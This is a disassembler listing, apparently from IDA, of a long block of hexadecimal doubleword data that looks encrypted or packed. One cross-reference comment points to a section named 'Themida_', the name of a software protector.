		dd 69C69917h, 0B1D5EDD0h, 17F372F9h, 0B61A6624h, 32156601h
		dd 8A74E305h, 0E2EA6061h, 8A84E3AFh, 0E2EA6034h, 1230E34Eh
		dd 5A43605Bh, 0AEBDDE70h, 64D3EEh, 0B7986097h, 34371FD7h
		dd 0B79CB6DDh, 340A48A8h, 0D4F1E305h, 0BF456061h, 17F0A3A7h
		dd 0A7EA3617h, 340A79A9h, 28A4E383h, 3215603Dh,	0B7D36611h
		dd 340A46ADh, 5B7C0E01h, 87EAE850h, 340A46C8h, 0B58E305h
		dd 0E2EA605Bh, 161CE3ABh, 0B7D3600Eh, 340A46ADh, 594B0E07h
		dd 87EAFA45h, 340A46C8h, 0B58E305h, 0E2EA605Bh,	0D7E9E3ABh
		dd 0B7D36034h, 340A46ADh, 5A3C0E10h, 87EA8840h,	340A46C8h
		dd 0B58E305h, 0E2EA605Bh, 0D415E3ABh, 0B7D36034h, 340A46ADh
		dd 0AD70E01h, 87EABC42h, 340A46C8h, 0B58E305h, 0E2EA605Bh
		dd 0D411E3ABh, 8F966034h, 340A687Dh, 77906944h,	0F4156622h
		dd 2D354394h, 0B47D238Eh, 0CDEF463Ah, 2D35BF97h, 7F90EB17h
		dd 0CD1379B1h, 3A90EF94h, 0F41343C4h, 2D354394h, 0F17D2A8Eh
		dd 0CDF54094h, 2D35BF97h, 7F90EB17h, 0CD1379B1h, 3E90EF94h
		dd 0DB1343C4h, 32156651h, 1230E34Eh, 5A47605Bh,	8E5F822Fh
		dd 39A8D3EEh, 0B7986097h, 340A5F09h, 0B79CB6DDh, 34308019h
		dd 1230E34Eh, 5A47605Bh, 94592C6Ah, 39A8D3EEh, 0B7986097h
		dd 340A5F09h, 0B79CB6DDh, 3430801Dh, 1230E34Eh,	5A47605Bh
		dd 0CF57D2C8h, 12CCD3EEh, 0B7986097h, 340A5F09h, 0B79CB6DDh
		dd 340A4CE0h, 1230E34Eh, 5A62605Bh, 0C182CE81h,	1E44D3EEh
		dd 0B7986097h, 340A5F09h, 0B79CB6DDh, 340A4B8Ch, 1230E34Eh
		dd 5A47605Bh, 0B8C85735h, 12CCD3EEh, 0B7986097h, 340A5F09h
		dd 0B79CB6DDh, 340A7064h, 1230E34Eh, 5A43605Bh,	0E60A0B1Bh
		dd 64D3EEh, 0B7986097h,	34371FD7h, 0B79CB6DDh, 340A60E8h
		dd 1230E34Eh, 5A52605Bh, 0B3C97658h, 12CCD3EEh,	0B7986097h
		dd 340A5F09h, 0B79CB6DDh, 340A76A4h, 1230E34Eh,	5A52605Bh
		dd 0B81AD3C0h, 12CCD3EEh, 0B7986097h, 340A5F09h, 0B79CB6DDh
		dd 3430803Dh, 2ACCDB0Bh, 3D15605Bh, 321337A6h, 1790A011h
		dd 7E1379A8h, 0E8098F2Ch, 0EBA099FBh, 0BF137931h, 2D2C2B0Dh
		dd 0BBC59942h, 17F37EA7h, 1790A017h, 7E1379A8h,	46CBA82Ch
		dd 0EBA099FFh, 0BF137931h, 2D2C2B0Dh, 0BBC59942h, 17F37AA7h
		dd 1790A017h, 7E1379A8h, 0B397592Ch, 0EBA09995h, 0BF137931h
		dd 2D2C2B0Dh, 0BBC59942h, 17F346A7h, 1790A017h,	7E1379A8h
		dd 1D557E2Ch, 0EBA09991h, 0BF137931h, 2D2C2B0Dh, 0BBC59942h
		dd 17F346A7h, 1790A017h, 741379A8h, 0EC13722Ch,	0EBA09998h
		dd 0BF137931h, 2D2C2B0Dh, 0BBC59942h, 17F34EA7h, 1790A017h
		dd 751379A8h, 0EE051C2Ch, 0EBA099A3h, 0BF137931h, 2D2C2B0Dh
		dd 0BBC59942h, 17F356A7h, 1790A017h, 751379A8h,	0B59BCA2Ch
		dd 0EBA099CDh, 0BF137931h, 2D2C2B0Dh, 0BBC59942h, 17F352A7h
		dd 1790A017h, 751379A8h, 0A8B2B42Ch, 0EBA099F6h, 0BF137931h
		dd 2D2C2B0Dh, 0BBC59942h, 17F35EA7h, 1790A017h,	751379A8h
		dd 0F32C622Ch, 0EBA09998h, 0BF137931h, 2D2C2B0Dh, 0BBC59942h
		dd 17F35AA7h, 77A8E517h, 3213798Bh, 0B7D34631h,	340A4607h
		dd 1F720E56h, 87EA86FAh, 340A469Dh, 0B58E3AFh, 0E2EA600Eh
		dd 0D455E301h, 0B7D36061h, 340A4607h, 81A40E56h, 87EAE8A1h
		dd 340A469Dh, 0B58E3AFh, 0E2EA600Eh, 0D451E301h, 0B7D36061h
		dd 340A4607h, 78B20E52h, 87EAA6FEh, 340A469Dh, 0B58E3AFh
		dd 0E2EA600Eh, 0D45DE301h, 0B7D36061h, 340A4607h, 5EFE0E5Dh
dword_59C800	dd 87EA9DEEh, 340A4A15h, 0B58E3AFh, 0E2EA600Eh,	0D4C9E301h
					; DATA XREF: Themida_:00536D5Eo
		dd 0B7D36061h, 340A4607h, 0BC400E55h, 87EADDFBh, 340A469Dh
		dd 0B58E3AFh, 0E2EA600Eh, 0D459E301h, 0B7D36061h, 340A4607h
		dd 5CE90E52h, 87EADA06h, 340A469Dh, 0B58E3AFh, 0E2EA600Eh
		dd 0D445E301h, 0B7D36061h, 340A4607h, 0CBF0E42h, 87EAA098h
		dd 340A469Dh, 0B58E3AFh, 0E2EA600Eh, 0D441E301h, 8F966061h
		dd 340A6ACFh, 0D2916911h, 0F4156688h, 2D3543C1h, 37D2024h
		dd 0CDEFF0DFh, 2D35BF3Dh, 7F90EB42h, 0CD13791Bh, 8290EFC1h
		dd 0F413436Eh, 2D3543C1h, 0E47D2024h, 0CDE9C12Bh, 2D35BF3Dh
		dd 7F90EB42h, 0CD13791Bh, 0F290EFC1h, 0F413436Eh, 2D3543C1h
		dd 327D2024h, 0CD879AB5h, 2D35BF3Dh, 7F90EB42h,	0CD13791Bh
		dd 0F690EFC1h, 0F413436Eh, 2D3543C1h, 587D2024h, 0CDE3B25Eh
		dd 2D35BF3Dh, 7F90EB42h, 0CD13791Bh, 0FA90EFC1h, 0F413436Eh
		dd 2D3543C1h, 0D57D2024h, 0CD81AB41h, 2D35BF3Dh, 7F90EB42h
		dd 0CD13791Bh, 8690EFC1h, 0F413436Eh, 2D3543C1h, 97D2024h
		dd 0CDA44465h, 2D35BF3Dh, 7F90EB42h, 0CD13791Bh, 8A90EFC1h
		dd 0F413436Eh, 2D3543C1h, 0DF7D2024h, 0CDCA1FFBh, 2D35BF3Dh
		dd 7F90EB42h, 0CD13791Bh, 8E90EFC1h, 0B113436Eh, 2D1623F9h
		dd 12606624h, 1230E3D7h, 5A466097h, 0FCAB861Ah,	12CCD3DDh
		dd 0B798600Eh, 340A5FC5h, 0B79CB6BBh, 3430807Ah, 1230E3D7h
		dd 5A526097h, 0F5A438C3h, 12CCD3DDh, 0B798600Eh, 340A5FC5h
		dd 0B79CB6BBh, 3430807Eh, 3150DB92h, 47156097h,	1790A064h
		dd 75137902h, 506B6379h, 0EBA0996Eh, 0BF137964h, 2D2C2BA7h
		dd 0BBC59917h, 17F3060Dh, 1790A042h, 71137902h,	481C9079h
		dd 0EBA0991Ah, 0BF137964h, 2D2C2BA7h, 0BBC59917h, 17F3020Dh
		dd 1790A042h, 71137902h, 13824679h, 0EBA09974h,	0BF137964h
		dd 2D2C2BA7h, 0BBC59917h, 17F30E0Dh, 77A8E542h,	32137921h
		dd 0B7D32664h, 340A46ADh, 9A160E07h, 87EAED22h,	340A46C8h
		dd 0B58E305h, 0E2EA605Bh, 0D465E3ABh, 0B7D36034h, 340A46ADh
		dd 4C00E07h, 87EA8379h,	340A46C8h, 0B58E305h, 0E2EA605Bh
		dd 0D479E3ABh, 0B7D36034h, 340A46ADh, 0F40E07h,	87EA8C88h
		dd 340A46C8h, 0B58E305h, 0E2EA605Bh, 0D461E3ABh, 0B7D36034h
		dd 340A46ADh, 9E220E07h, 87EAE2D3h, 340A46C8h, 0B58E305h
		dd 0E2EA605Bh, 0D46DE3ABh, 0B7D36034h, 340A46ADh, 0A2C10E0Bh
		dd 87EAF117h, 340A46C8h, 0B58E305h, 0E2EA605Bh,	0D469E3ABh
		dd 0B7D36034h, 340A46ADh, 3C170E0Bh, 87EA9F4Ch,	340A46C8h
		dd 0B58E305h, 0E2EA605Bh, 0D495E3ABh, 0B7D36034h, 340A46ADh
		dd 4B5C0E09h, 87EAAE15h, 340A46C8h, 0B58E305h, 0E2EA605Bh
		dd 0D49DE3ABh, 0B7D36034h, 340A46ADh, 7F9C0E09h, 87EABAD5h
		dd 340A46C8h, 0B58E305h, 0E2EA605Bh, 0D491E3ABh, 0B7D36034h
		dd 340A46ADh, 1F220E11h, 87EAFA39h, 340A46C8h, 0B58E305h
		dd 0E2EA605Bh, 0D499E3ABh, 0B7D36034h, 340A46ADh, 0C23F0E07h
		dd 87EAB4F7h, 340A46C8h, 0B58E305h, 0E2EA605Bh,	0D485E3ABh
		dd 0B7D36034h, 340A46ADh, 86FF0E16h, 87EA9B60h,	340A46C8h
		dd 0B58E305h, 0E2EA605Bh, 18E4E3ABh, 0B7D3600Eh, 340A46ADh
		dd 6B8C0E03h, 87EA84BAh, 340A46C8h, 0B58E305h, 0E2EA605Bh
		dd 0D481E3ABh, 0B7D36034h, 340A46ADh, 52D70E03h, 87EAD7DFh
		dd 340A46C8h, 0B58E305h, 0E2EA605Bh, 0D48DE3ABh, 0B7D36034h
		dd 340A46ADh, 0CC010E03h, 87EAB984h, 340A46C8h,	0B58E305h
		dd 0E2EA605Bh, 0D489E3ABh, 0B7D36034h, 340A46ADh, 0C07D0E1Bh
		dd 87EAF872h, 340A46C8h, 0B58E305h, 0E2EA605Bh,	0D4B5E3ABh
		dd 0B7D36034h, 340A46ADh, 492A0E0Bh, 87EAA1DEh,	340A46C8h
		dd 0B58E305h, 0E2EA605Bh, 0D4D9E3ABh, 0B7D36034h, 340A46ADh
		dd 5C590E03h, 87EA9C79h, 340A46C8h, 0B58E305h, 0E2EA605Bh
		dd 0D4C5E3ABh, 0B7D36034h, 340A46ADh, 16D80E03h, 87EAA524h
		dd 340A46C8h, 0B58E305h, 0E2EA605Bh, 0D4C1E3ABh, 0B7D36034h
		dd 340A46ADh, 52D90E1Bh, 87EAB299h, 340A46C8h, 0B58E305h
		dd 0E2EA605Bh, 0D4B1E3ABh, 0B7D36034h, 340A46ADh, 665B0E1Bh
		dd 87EAF8CBh, 340A46C8h, 0B58E305h, 0E2EA605Bh,	0D4BDE3ABh
		dd 0B7D36034h, 340A46ADh, 1A5D0E1Bh, 87EAB731h,	340A46C8h
		dd 0B58E305h, 0E2EA605Bh, 0D4B9E3ABh, 367F6034h, 320566E0h
		dd 22150E44h, 327F6622h, 1CACF3EEh, 0B79C6097h,	340A42E1h
		dd 0E1F8E3AFh, 0E2EA6034h, 327D62E2h, 5A156654h, 32154622h
		dd 0A7EA667Bh, 340A4831h, 1184E3CDh, 0B79C603Dh, 340A66E0h
		dd 327D26E2h, 5A156654h, 32146622h, 0A7EA667Bh,	340A4831h
		dd 37B8E3CDh, 879E603Dh, 340A7740h, 37B4FB03h, 879C605Bh
		dd 340A7937h, 2948FB98h, 0AF9E6097h, 340A63E5h,	0CB966DA9h
		dd 0ED916911h, 62156682h, 0F2260615h, 2278E3ABh, 0EAB600Eh
		dd 31156688h, 54354230h, 1651658Fh, 4A65ED31h, 1231128Bh
		dd 0BB0D18CFh, 2D02479Fh, 3DEAE317h, 32156C0Dh,	231B8E44h
		dd 0A3FC6622h, 63156611h, 0E07EB103h, 5F80EF40h, 5813792Eh
		dd 22150E15h, 58476688h, 8B809944h, 0BB13790Ch,	2D25FF94h
		dd 6BC5ED8Eh, 3205B9ACh, 31B83022h, 0A5314255h,	42B903h
		dd 0B71AC884h, 0CDEA99DBh, 60EE4D4Fh, 8F9EB103h, 340A42E1h
		dd 1EAAFA1h, 13ECD1h, 369E2049h, 3AFCA7C3h, 3D5FAE11h
		dd 0CDEA8C94h, 0C5D4ED77h, 309C3C94h, 6011A4A1h, 2278E3EEh
		dd 0A79E6097h, 340A7629h, 2534F31Bh, 0B61A600Eh, 32156682h
		dd 0F496381Eh, 0CD8E8F26h, 6C4F99EEh, 0F54D3FE9h, 2D088BC1h
		dd 32156624h, 6F90A111h, 3213799Eh, 0B1156644h,	17F3729Fh
		dd 0B61A6617h, 32156680h, 7E6AFBC9h, 0E1EA6007h, 2CC8E3EEh
		dd 8F966097h, 340A7899h, 50976946h, 0F5156611h,	2D0BBB0Dh
		dd 32156742h, 87980622h, 343080FDh, 3142DB05h, 0CC3E6062h
		dd 8F9EB1A9h, 340A42B4h, 1EAAF0Bh, 13EC84h, 369E20E3h
		dd 3AFCA796h, 3D5FAEBBh, 0CDEA8CC1h, 0C5D4EDDDh, 2B905FC1h
		dd 3D13798Bh, 321571C0h, 0C3A8E522h, 32137931h,	321FE387h
		dd 0B7D26644h, 340A7C93h, 32156610h, 453DDFE9h,	0F7AF2026h
		dd 9F1C3456h, 2D00D398h, 74D26097h, 321566B8h, 0DCFB5B22h
		dd 0B71A88FFh, 321566A8h, 0EFC858C5h, 0B71ABBFFh, 32156605h
		dd 3215604Fh, 0F4966644h, 27A0EF26h, 0DB13790Eh, 32156E71h
		dd 0B726BECFh, 340A7C93h, 1916AED0h, 22D5A74Ah,	0AF9CA777h
		dd 340A7C93h, 3315662Ch, 77966988h, 0B3156644h,	89AEDD1Ch
		dd 0B9069AAh, 0F5156688h, 32156642h, 36D3E522h,	2D00D398h
		dd 0AF9E6097h, 340A63E5h, 0E29E6DA9h, 19D7ED71h, 2D13330Dh
		dd 30F5A742h, 0BCE321h,	9F83600Eh, 769CA78Bh, 0DB747A60h
		dd 3215665Eh, 0FB263440h, 28CF303h, 302E605Bh, 322DE22Dh
		dd 0F0966611h, 0BF2E278Ch, 340A7165h, 0CDFDE32Dh, 879899EEh
		dd 34308359h, 3170DBC9h, 0B6B9603Dh, 349169D1h,	98156688h
		dd 0CDEA97ADh, 3215DEDDh, 0BF986611h, 340A2B38h, 0BF9C87BBh
		dd 340A764Fh, 0B9433F4Bh, 2D10C715h, 0B91EED42h, 2D050BA7h
		dd 31F5B717h, 2D018B0Dh, 0A4E35542h, 0D2D4CB44h, 9B906513h
		dd 0A41379BAh, 6CD465E9h, 2F30DBA1h, 3D14600Eh,	32155F0Ch
		dd 0EB985D44h, 3D137902h, 32154B95h, 63985D88h,	3D137968h
		dd 321547A6h, 0D7985D11h
		dd 3D137993h, 321573C0h, 1D88EB22h, 0CD1343EAh,	0BBEDED5Bh
		dd 2D2593C1h, 34A18F24h, 0AF986611h, 34309DA7h,	8F96B5BBh
		dd 340A7B07h, 2F916911h, 9156688h, 2D18E7C1h, 3E916924h
		dd 9156611h, 2D1B370Dh,	37906942h, 0DB156622h, 0CDEA99A8h
		dd 161CE3B3h, 0B71A605Bh, 3215663Ah, 3CE0DB92h,	3D156097h
		dd 32156DC1h, 6C90EB22h, 0DB1343DCh, 0CDEA991Dh, 161CE37Fh
		dd 0B61A603Dh, 0CDEA9998h, 0D7D8DB0Bh, 3D146061h, 321571A7h
		dd 1E905D11h, 3D13436Eh, 32156DC1h, 9290EB22h, 0DB153EF7h
		dd 0CDEA99E5h, 8F969977h, 340A7EFBh, 55916911h,	915668Bh
		dd 17F37EC1h, 0B9121324h, 2D27D394h, 0B72E218Eh, 34308064h
		dd 0B79E6157h, 340A4B7Ch, 2E905DCFh, 471343A2h,	0D790ED25h
		dd 75137911h, 0D431E3B3h, 35606061h, 24BCE3A9h,	952600Eh
		dd 17F34E0Dh, 0B9121342h, 2D04B3A7h, 0B72E2117h, 343080A4h
		dd 0B79E6131h, 340A4A3Fh, 2905D56h, 4713436Eh, 0AB90ED43h
		dd 7513793Fh, 0D421E32Ah, 356060ADh, 342CE3CFh,	952603Dh
		dd 17F35E94h, 0B912138Eh, 2D0687C1h, 0B72E2124h, 3430802Dh
		dd 0B79E61FDh, 340A5689h, 76905D65h, 471343F7h,	0A790ED8Fh
		dd 75137955h, 0D455E319h, 22606034h, 3150DB0Bh,	4715605Bh
		dd 4790ED25h, 7513790Bh, 304DB0Bh, 4615605Bh, 0FE905D2Dh
		dd 471343F7h, 5390ED8Fh, 75137967h, 3EF8DBA1h, 4615600Eh
		dd 0B3A8E5FAh, 32137967h, 0B72E0F56h, 343080A1h, 0B79E61FDh
		dd 340A4BC5h, 0F2905D65h, 471343F7h, 0FF90ED8Fh, 75137969h
		dd 0D4A1E319h, 35606034h, 2338E303h, 952605Bh, 17F3A2A7h
		dd 0B9121317h, 2D1F230Dh, 0B72E2142h, 343080EAh, 0B79E6164h
		dd 340A4D09h, 8A905D03h, 471343C4h, 6F90ED16h, 7513798Ah
		dd 0D4A9E37Fh, 35606007h, 3EC0E39Ah, 0B1526097h, 2D36E7F9h
		dd 0B61A6624h, 3215641Bh, 0D45DE3B3h, 35606061h, 182CE3A9h
		dd 952600Eh, 17F3BA0Dh,	0B9121342h, 2D3993A7h, 0B72E2117h
		dd 343080C4h, 0B79E6131h, 340A7D23h, 62905D56h,	4713436Eh
		dd 2F90ED43h, 75137932h, 0D441E32Ah, 356060ADh,	24F8E3CFh
		dd 952603Dh, 17F33E94h,	0B105138Eh, 2D1623F9h, 35606624h
		dd 1FE8E39Ah, 9526097h,	17F33AC1h, 0B9121324h, 2D3ED394h
		dd 0B72E218Eh, 34308024h, 8F967657h, 340A6554h,	0B9121388h
		dd 2D3613C1h, 0B72E2124h, 34308075h, 0B79E61FDh, 340A74E5h
		dd 5A905D65h, 471343F7h, 0F790ED8Fh, 75137975h,	0D465E319h
		dd 22606034h, 3150DB0Bh, 4715605Bh, 8F90ED25h, 7513791Eh
		dd 0D479E3B3h, 22606061h, 3150DBA1h, 4715600Eh,	0B390ED8Fh
		dd 75137941h, 0D461E319h, 35606034h, 2008E303h,	952605Bh
		dd 17F31EA7h, 0B9121317h, 2D1A9F0Dh, 0B72E2142h, 3430805Eh
		dd 0B79E6164h, 340A41CDh, 0B2905D03h, 471343C4h, 0F390ED16h
		dd 7513798Dh, 0D491E37Fh, 35606007h, 322CE39Ah,	9526097h
		dd 17F3EEC1h, 0B9121324h, 2D150394h, 0B72E218Eh, 343080C8h
		dd 0B79E6157h, 340A77E8h, 0A2905DCFh, 471343A2h, 0F90ED25h
		dd 7513791Ch, 18E4E3B3h, 3560605Bh, 11B4E3A9h, 952600Eh
		dd 17F3F20Dh, 0B9121342h, 2D1FF3A7h, 0B72E2117h, 34308058h
		dd 8F967F31h, 343080FAh, 0B11C1311h, 2D084335h,	35616642h
		dd 2D5CE3A9h, 952600Eh,	17F3B20Dh, 0B10C1342h, 17F3BE9Fh
		dd 3B606617h, 2F30DB0Bh, 4615605Bh, 790ED25h, 75137905h
		dd 0D48DE3B3h, 35606061h, 21ACE3A9h, 952600Eh, 17F3FA0Dh
		dd 0B9121342h, 2D13B7A7h, 0B72E2117h, 34308028h, 0B79E6131h
		dd 340A6FDFh, 96905D56h, 4713436Eh, 0BF90ED43h,	7513792Ch
		dd 0D4BDE32Ah, 356060ADh, 3C7CE3CFh, 952603Dh, 17F3CA94h
		dd 0B912138Eh, 2D3F5FC1h, 0CD1E2124h, 3210E21Eh, 0D8FC6688h
		dd 9EA99BFh, 2D38FBA7h,	39906917h, 0BF156688h, 178A56C1h
		dd 0C9C68F24h, 0B72E99EEh, 340A70FDh, 320DE34Bh, 8F966622h
		dd 343083DCh, 39906989h, 0BF156644h, 6AF345A7h,	0C9BA8F11h
		dd 0B72E9977h, 3430804Ch, 3219E22Dh, 0B72E6611h, 34308084h
		dd 3210E34Bh, 0A0FC6622h, 8CEA99EAh, 32156688h,	3D1498C7h
		dd 321523A7h, 0CE905D11h, 3D13436Dh, 32156DC1h,	0D690EB22h
		dd 0DB153E73h, 0CDEA9DE5h, 0D415E37Fh, 0B71A6007h, 3215661Ah
		dd 514FE305h, 64FC661Ch, 9EA99D9h, 17F36294h, 3990698Eh
		dd 0BF156644h, 6A76F9A7h, 0C92A8F11h, 0F29E9977h, 321567FAh
		dd 3DE36D22h, 32156394h, 0C9368F88h, 0C29E99BBh, 351CD3ABh
		dd 879C600Eh, 340A6581h, 3DFC58C4h, 321540A7h, 336BED11h
		dd 0EC9E988Bh, 7215A5C5h, 8F2E6622h, 340A6118h,	321DE487h
		dd 0C92E6644h, 3210E02Dh, 0D4FC6611h, 0B9EA9972h, 2D36F7F9h
		dd 0C390A124h, 32137919h, 52156688h, 311CD3CDh,	0AF98603Dh
		dd 34336701h, 0B01AB577h, 32156666h, 0A3DFFBAFh, 0E1EA6035h
		dd 0CDCBE587h, 879E99BBh, 340A652Bh, 3AE4D398h,	0AF986097h
		dd 34302A63h, 0B79EB5DDh, 340A6118h, 311CE301h,	0BF74605Bh
		dd 17E81FBFh, 0BFC69917h, 14150715h, 3DC69942h,	32156AA1h
		dd 3B90E511h, 3713798Bh, 0CDEAB8ADh, 0B888EBDDh, 0CD134011h
		dd 3A96695Bh, 0B1156644h, 0FC62E0h, 0BF156611h,	1684AC15h
		dd 3DC69942h, 32156DA1h, 3BA0ED11h, 0DB13798Bh,	321561C4h
		dd 311CEBA9h, 879C600Eh, 340A6581h, 0EBE2A86Fh,	96E69709h
		dd 0CDEAF0F8h, 4D88EB77h, 0CD134308h, 19D2EDF1h, 2D36F794h
		dd 0F790EF8Eh, 0B913795Bh, 2D36F7A7h, 0BF453117h, 17599205h
		dd 0B9C49942h, 2D10CBA7h, 0B9423617h, 2D36F70Dh, 0BF983642h
		dd 34302B01h, 0E29EB7EEh, 0BF3EAE03h, 340A63E9h, 1C38DBA1h
		dd 3D15600Eh, 32154D0Ch, 0BB90ED44h, 1913790Ch,	2D3B4B94h
		dd 3DD45D8Eh, 321571C2h, 0D390ED22h, 31137919h,	2D3B4B0Dh
		dd 0C790EF42h, 0DB137912h, 32156652h, 7AD4EDD9h, 321A9949h
		dd 0B79C2622h, 340A4898h, 3114E389h, 0B7D2605Bh, 340A480Fh
		dd 32156611h, 327D26E2h, 63156654h, 0A7EA6648h,	340A48A8h
		dd 2A88F377h, 0B79C605Bh, 340A6EC3h, 2E0E398h, 0CD4C6097h
		dd 2D2593F1h, 9FA09924h, 65137914h, 1184D377h, 0B798605Bh
		dd 34303797h, 0BF14B6EEh, 340A48A5h, 2E0DBCFh, 879E603Dh
		dd 340A63BCh, 879EC27Bh, 340A7951h, 0CE53A18Fh,	32156611h
		dd 3710A649h, 7477116Ch, 37D8E321h, 0BF9E600Eh,	340A567Dh
		dd 0F5B86ECDh, 32159A64h, 879C6611h, 340A799Dh,	3DEA9EC7h
		dd 321546A7h, 0EF2BE711h, 3DC8BB55h, 321572C1h,	3213A122h
		dd 0B1156611h, 879C624Eh, 340A7951h, 0CDE380CBh, 31D5A7EEh
		dd 37D8E38Bh, 8F96605Bh, 340A739Fh, 0AF916910h,	0B3156688h
		dd 98BFCC7Ah, 20906988h, 0B1156611h, 74D2624Eh,	321566B8h
		dd 0DBA5F122h, 321565F8h, 0DAA5F188h, 17A8E514h, 3313793Fh
		dd 322BE21Eh, 32AD6688h, 0B1156645h, 17F3729Fh,	0B61A6617h
		dd 32156680h, 66E3FBC9h, 0E1EA6007h, 3D855991h,	32156E0Ch
		dd 37D2E544h, 321525CBh, 62EDE511h, 321FE487h, 0A2A56644h
		dd 0DBBF3E88h, 32156635h, 4D95CCD0h, 0B71A8FBBh, 3215663Ah
		dd 0D401DB92h, 3D1560ADh, 32156EC0h, 0F488EB22h, 0CD134345h
		dd 3652EE5Bh, 2E0E3CFh,	0F53E603Dh, 99118E92h, 0CE53A125h
		dd 32156644h, 0CDEA77CBh, 27A0EFEEh, 60137997h,	3295662Ch
		dd 0CD150C22h, 2D25FFA4h
		dd 0CB80998Eh, 68137942h, 37B4EBA9h, 33D2600Eh,	32156688h
		dd 0BB11A7C7h, 2D10C7AFh, 0C7058F17h, 96FC9977h, 52156642h
		dd 37B4EBA9h, 3B9E600Eh, 0D405EB01h, 0A946061h,	7E51326Ch
		dd 3209E31Eh, 0B3736688h, 1C59623Ch, 3205E32Dh,	0C29E6611h
		dd 0B913A00Bh, 2D1EDBC1h, 33138F24h, 0C29E6611h, 0FB26B603h
		dd 3D155AE8h, 32153BA6h, 3D385A11h, 0CDEA890Ch,	3D3B5ABBh
		dd 32155BA6h, 3D255A11h, 3214660Ah, 3D2C5A44h, 0CDEAB1A4h
		dd 3D545AEEh, 3215960Ah, 3D4F5A44h, 0CDEAA1A4h,	3D4A5AEEh
		dd 0CDEAD90Ch, 3D745ABBh, 3215BEA0h, 3D6F5A11h,	0CDEAC90Eh
		dd 32DE8FBBh, 9576622h,	0F09169C7h, 78156688h, 0CD8F8F05h
		dd 0FB9099DDh, 32A6E21Eh, 87986688h, 340A7171h,	0C89EACA9h
		dd 3DBB48A1h, 0CDEA9F0Dh, 0C5DA4DBBh, 0B5EC4DFBh, 0F4B195E6h
		dd 0BF1599CFh, 2D0253D1h, 8790ED24h, 0B7137935h, 28906948h
		dd 0F4156644h, 2D3543A7h, 0E07D2117h, 0CDC1FC2Fh, 2D2717F1h
		dd 0A190EB24h, 0CD134468h, 0E2EA3458h, 0B71AA6C1h, 3215661Ah
		dd 1FA4E39Ah, 0F2906097h, 320FE34Bh, 0B7D36622h, 340A4634h
		dd 2EFC0EC4h, 87EABF9Eh, 340A5453h, 4B86E39Ch, 0E2EA60AAh
		dd 0B7C59916h, 379069E2h, 0DB156611h, 321566A9h, 0D405E3CDh
		dd 64456007h, 0AB42E39Ch, 0E2EA60AAh, 0B71AA64Fh, 32156627h
		dd 321562F8h, 1651EF88h, 52D60758h, 0D405EBA9h,	0B9456034h
		dd 0E556549h, 329DF6CFh, 0A79C6622h, 340A68B0h,	32159E8Dh
		dd 3E45ED44h, 2304F3ABh, 0B94D600Eh, 193142CCh,	23905D85h
		dd 3D137933h, 32157693h, 93905D88h, 3D13794Ah, 321562A1h
		dd 36D70711h, 36D20788h, 32156660h, 1651A122h, 32156615h
		dd 3210DE88h, 0BF986644h, 340A2B92h, 0B87587EEh, 3DFC5A8Eh
		dd 321558C0h, 3DFD5A22h, 32152495h, 3D1A5A88h, 321574C0h
		dd 3DD85A22h, 32155995h, 3DFE5A88h, 32152FC0h, 0B8D60722h
		dd 0D195674Fh, 0B2EEE678h, 0CDFAE34Bh, 0EC9E99DDh, 3113A592h
		dd 26FC64D6h, 0B9156644h, 0C996677Ch, 1B9169EAh, 0B9156688h
		dd 334B659Ah, 0DB10A5A1h, 0CDEA99D8h, 334BD087h, 3D3B8DC7h
		dd 0CDEADAA6h, 321F8FEEh, 4C956688h, 0B71A9845h, 0CDEA998Fh
		dd 0CDEA06F8h, 61443077h, 9ED55513h, 0D195BEA8h, 42EEE6E1h
		dd 32F9E287h, 3D296644h, 3230E22Dh, 0DB296611h,	3391E287h
		dd 0D9296644h, 3000E22Dh, 0D1296611h, 3264E287h, 0D0296644h
		dd 3056E22Dh, 694A6611h, 0F5D638D1h, 17F386C1h,	32156024h
		dd 0B20BEC11h, 0C995966Bh, 0D19069C4h, 7CEA99DDh, 351CE39Ah
		dd 0A79E6097h, 340A6EB5h, 0F196B8A9h, 304B6517h, 0B01ABEB3h
		dd 3215664Ch, 0B41ABC19h, 0CDEA99AFh, 0D996B9A3h, 54B80042h
		dd 0B1BEF589h, 0E9C62D7h, 1661EFACh, 3BA0EF48h,	6D137921h
		dd 0B14B3F4Ah, 52FC624Ch, 0F5EA99BEh, 17F386A7h, 32156417h
		dd 3DCBED88h, 0CB9568F2h, 3A9669A2h, 31156611h,	3FFC2551h
		dd 0B2156644h, 0EBE299CBh, 32EA8790h, 0EB3E6688h, 351CE3CFh
		dd 0A79E603Dh, 340A6EE0h, 2FF8DB0Bh, 3D14605Bh,	3215C5A6h
		dd 3DCD5D11h, 3215FD0Ah, 3DCF5D44h, 0CDEA27A0h,	329B8FEEh
		dd 0B7D26688h, 343080A4h, 32156620h, 841AB89Ah,	0B2ECE686h
		dd 321DE54Bh, 0EB166622h, 32188F52h, 0DB956688h, 0B3CC91BBh
		dd 321599C3h, 0B9CC4D11h, 2D126F0Dh, 0C380ED42h, 0B113792Ah
		dd 2D088BACh, 0B61A678Eh, 3215660Ch, 0B01ABE19h, 32156619h
		dd 0B41ABCB3h, 0CDEA98A2h, 981AD66Ch, 0B2A5689Bh, 381A8708h
		dd 0ED3ECC85h, 0A1118DA1h, 30D3E5BAh, 311CD301h, 0B7D2605Bh
		dd 340A7BCFh, 32156610h, 6911A20Bh, 36D1E51Dh, 0DB11A2A1h
		dd 0CDEA9F66h, 98FCD6C6h, 0F53EA0CFh, 99118EA1h, 6911A292h
		dd 0F69638D1h, 0CBD28F40h, 0B7D299DDh, 343080F1h, 3215668Dh
		dd 0F196B8CFh, 0B90B6526h, 2D126F94h, 0C380ED8Eh, 7C13794Ch
		dd 2448DBA1h, 3D14600Eh, 3214650Ch, 3DCD5D44h, 32156EA0h
		dd 3DCF5D11h, 32154D0Eh, 3BA0EF44h, 0B9137921h,	17F3868Ch
		dd 1649678Eh, 32CB8F48h, 0F54A6622h, 2D033B94h,	3215678Eh
		dd 6C4C3D44h, 0DB11A2A1h, 0CDEA9EE6h, 2FF8DB0Bh, 3D14605Bh
		dd 3215DDA6h, 3B884D11h, 0B913798Fh, 2D36F7C9h,	19DE6524h
		dd 37FCE5DEh, 0A3BF8F38h, 36D1E5EFh, 0B14B3F79h, 1CFC62D5h
		dd 0F5EA9971h, 17F386C1h, 32156424h, 3DCBED11h,	0CB95683Eh
		dd 3A9669C4h, 31156622h, 3FFC25C8h, 0B2156688h,	0EBE299ADh
		dd 32EA87A3h, 0EB3E6611h, 351CE303h, 0A79E605Bh, 340A6ED3h
		dd 0CDEA20F8h, 0D290A177h, 301343A2h, 0B9156622h, 3CA369CFh
